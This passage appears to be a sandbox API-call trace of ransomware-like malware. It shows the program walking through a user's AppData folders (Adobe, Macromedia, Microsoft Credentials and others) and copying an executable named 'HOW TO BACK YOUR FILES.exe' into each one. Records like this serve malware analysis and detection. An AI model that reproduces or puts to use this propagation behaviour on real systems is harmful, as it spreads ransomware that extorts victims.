ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0100.813] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0100.813] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0100.813] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.814] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x775e0a00, ftCreationTime.dwHighDateTime=0x1d4d05b, ftLastAccessTime.dwLowDateTime=0x43554e50, ftLastAccessTime.dwHighDateTime=0x1d4d12b, ftLastWriteTime.dwLowDateTime=0xc5573c80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MwQVJliyJ2rhOGkTFvdB.ots.Athena865", cAlternateFileName="MWQVJL~1.ATH")) returned 1 [0100.814] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Adobe" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Adobe") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Adobe" [0100.814] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.814] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.815] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\adobe\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.815] GetLastError () returned 0x0 [0100.815] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x543f90 [0100.815] ReadFile (in: hFile=0xf4, lpBuffer=0x543f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x543f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.816] CloseHandle (hObject=0xf4) returned 1 [0100.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x543f90 | out: hHeap=0x4f0000) returned 1 [0100.816] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.816] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Adobe\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc535e940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc535e940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0100.817] lstrcatW (in: lpString1="Acrobat", lpString2="\\" | out: lpString1="Acrobat\\") returned="Acrobat\\" [0100.817] lstrcatW (in: lpString1="Acrobat\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Acrobat\\HOW TO BACK YOUR FILES.exe") returned="Acrobat\\HOW TO BACK YOUR FILES.exe" [0100.817] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.832] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0100.832] lstrcatW (in: lpString1="Flash Player", lpString2="\\" | out: lpString1="Flash Player\\") returned="Flash Player\\" [0100.832] lstrcatW (in: lpString1="Flash Player\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Flash Player\\HOW TO BACK YOUR FILES.exe") returned="Flash Player\\HOW TO BACK YOUR FILES.exe" [0100.832] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Adobe\\Flash Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\adobe\\flash player\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.835] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0100.835] lstrcatW (in: lpString1="Headlights", lpString2="\\" | out: lpString1="Headlights\\") returned="Headlights\\" [0100.835] lstrcatW (in: lpString1="Headlights\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Headlights\\HOW TO BACK YOUR FILES.exe") returned="Headlights\\HOW TO BACK YOUR FILES.exe" [0100.835] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Adobe\\Headlights\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\adobe\\headlights\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.837] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc535e940, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc535e940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.837] lstrcatW (in: lpString1="Linguistics", lpString2="\\" | out: lpString1="Linguistics\\") returned="Linguistics\\" [0100.837] lstrcatW (in: lpString1="Linguistics\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Linguistics\\HOW TO BACK YOUR FILES.exe") returned="Linguistics\\HOW TO BACK YOUR FILES.exe" [0100.837] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Adobe\\Linguistics\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\adobe\\linguistics\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.840] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0100.840] lstrcatW (in: lpString1="LogTransport2", lpString2="\\" | out: lpString1="LogTransport2\\") returned="LogTransport2\\" [0100.840] lstrcatW (in: lpString1="LogTransport2\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="LogTransport2\\HOW TO BACK YOUR FILES.exe") returned="LogTransport2\\HOW TO BACK YOUR FILES.exe" [0100.840] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Adobe\\LogTransport2\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\adobe\\logtransport2\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.842] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 0 [0100.842] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0100.842] ReleaseMutex (hMutex=0xec) returned 1 [0100.842] CloseHandle (hObject=0xec) returned 1 [0100.842] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Identities" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Identities") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Identities" [0100.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50efe8 | out: hHeap=0x4f0000) returned 1 [0100.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b618 | out: hHeap=0x4f0000) returned 1 [0100.842] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Identities") returned 74 [0100.842] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1E578901BA381CAE90D2B814485A80F3") returned 0xec [0100.842] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.843] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Identities" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Identities") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Identities" [0100.843] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.843] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\identities\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.843] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\identities\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.843] GetLastError () returned 0x0 [0100.843] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x543f90 [0100.843] ReadFile (in: hFile=0xf4, lpBuffer=0x543f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x543f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.844] CloseHandle (hObject=0xf4) returned 1 [0100.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x543f90 | out: hHeap=0x4f0000) returned 1 [0100.844] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.844] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Identities\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc54692e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc54692e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0100.845] lstrcatW (in: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpString2="\\" | out: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\") returned="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\" [0100.845] lstrcatW (in: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\HOW TO BACK YOUR FILES.exe") returned="{31810C36-5D23-4CCE-A3B4-316DED195C38}\\HOW TO BACK YOUR FILES.exe" [0100.845] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.847] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0100.847] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0100.847] ReleaseMutex (hMutex=0xec) returned 1 [0100.847] CloseHandle (hObject=0xec) returned 1 [0100.847] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Macromedia" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Macromedia") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Macromedia" [0100.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e9a8 | out: hHeap=0x4f0000) returned 1 [0100.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b630 | out: hHeap=0x4f0000) returned 1 [0100.847] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Macromedia") returned 74 [0100.847] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\89999BBAD113CDD49166C4F5B9712B6F") returned 0xec [0100.847] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.847] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Macromedia" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Macromedia") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Macromedia" [0100.848] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.848] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Macromedia\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\macromedia\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.848] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Macromedia\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\macromedia\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.848] GetLastError () returned 0x0 [0100.848] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x543f90 [0100.848] ReadFile (in: hFile=0xf4, lpBuffer=0x543f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x543f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.849] CloseHandle (hObject=0xf4) returned 1 [0100.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x543f90 | out: hHeap=0x4f0000) returned 1 [0100.849] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.849] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Macromedia\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0xc55279c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc55279c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0100.850] lstrcatW (in: lpString1="Flash Player", lpString2="\\" | out: lpString1="Flash Player\\") returned="Flash Player\\" [0100.850] lstrcatW (in: lpString1="Flash Player\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Flash Player\\HOW TO BACK YOUR FILES.exe") returned="Flash Player\\HOW TO BACK YOUR FILES.exe" [0100.850] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Macromedia\\Flash Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\macromedia\\flash player\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.857] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc55279c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc55279c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.857] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft" [0100.857] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.857] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.857] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.857] GetLastError () returned 0x0 [0100.858] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x543f90 [0100.858] ReadFile (in: hFile=0xf4, lpBuffer=0x543f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x543f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.858] CloseHandle (hObject=0xf4) returned 1 [0100.858] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x543f90 | out: hHeap=0x4f0000) returned 1 [0100.859] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.859] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc554db20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc554db20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0100.859] lstrcatW (in: lpString1="AddIns", lpString2="\\" | out: lpString1="AddIns\\") returned="AddIns\\" [0100.859] lstrcatW (in: lpString1="AddIns\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AddIns\\HOW TO BACK YOUR FILES.exe") returned="AddIns\\HOW TO BACK YOUR FILES.exe" [0100.859] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\AddIns\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\addins\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.864] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0100.864] lstrcatW (in: lpString1="Credentials", lpString2="\\" | out: lpString1="Credentials\\") returned="Credentials\\" [0100.864] lstrcatW (in: lpString1="Credentials\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Credentials\\HOW TO BACK YOUR FILES.exe") returned="Credentials\\HOW TO BACK YOUR FILES.exe" [0100.865] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Credentials\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\credentials\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.867] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0100.868] lstrcatW (in: lpString1="Crypto", lpString2="\\" | out: lpString1="Crypto\\") returned="Crypto\\" [0100.868] lstrcatW (in: lpString1="Crypto\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: 